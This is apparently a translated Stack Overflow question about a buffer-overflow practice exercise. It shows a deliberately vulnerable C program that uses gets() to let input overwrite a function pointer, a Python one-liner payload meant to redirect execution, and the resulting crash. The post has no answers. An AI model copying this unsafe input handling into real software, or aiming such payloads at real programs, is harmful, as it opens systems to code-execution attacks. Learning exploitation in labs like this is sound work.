缓冲区溢出漏洞利用问题

时间:2017-11-23 06:40:58

标签: python buffer-overflow

我正在尝试完成一个涉及覆盖函数指针的缓冲区溢出。易受攻击的C程序如下:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

我已经在程序上运行了gdb,发现“buffer”的大小是72字节,函数地址是0x555546ca。所以,我输入了

python3.6 -c "print('A' * 72 + '\xca\x46\x55\x55')" | ./stack3

得到一个奇怪的结果:

calling function pointer 0x55468ac3
Segmentation fault (core dumped)

检查内存后,我发现缓冲区已正确填充0x41,但接下来的两个字(fp *)分别为0x55468ac3和0x00000055。我无法理解为什么数据会以这种方式被遮挡。

0 个答案:

没有答案